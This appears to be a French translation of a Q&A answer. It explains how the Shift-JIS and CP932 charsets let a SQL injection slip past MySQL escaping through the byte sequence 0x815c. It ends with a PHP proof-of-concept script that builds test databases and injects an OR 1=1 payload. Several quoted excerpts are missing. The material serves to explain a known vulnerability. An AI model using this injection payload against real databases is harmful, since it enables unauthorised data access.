Mysql
 sql >> Base de données >  >> RDS >> Mysql

Comment créer une attaque par injection SQL avec Shift-JIS et CP932 ?

Le diable est dans les détails... commençons par comment répondre à la question décrit la liste des jeux de caractères vulnérables :

Cela nous donne un peu de contexte - 0xbf5c est utilisé comme exemple pour gbk , et non comme caractère universel à utiliser pour l'ensemble des 5 jeux de caractères.
Il se trouve que la même séquence d'octets est également un caractère valide sous big5 et gb2312 .

À ce stade, votre question devient aussi simple que ceci :

Pour être juste, la plupart des recherches Google que j'ai essayées pour ces jeux de caractères ne donnent aucun résultat utile. Mais j'ai trouvé ce fichier CP932.TXT , dans lequel si vous recherchez '5c ' (avec l'espace ici), vous sauterez à cette ligne :

Et nous avons un gagnant! :)

Quelques documents Oracle confirme que 0x815c est le même caractère pour les deux cp932 et sjis et PHP le reconnaît aussi :

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

Voici un script PoC pour l'attaque :

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}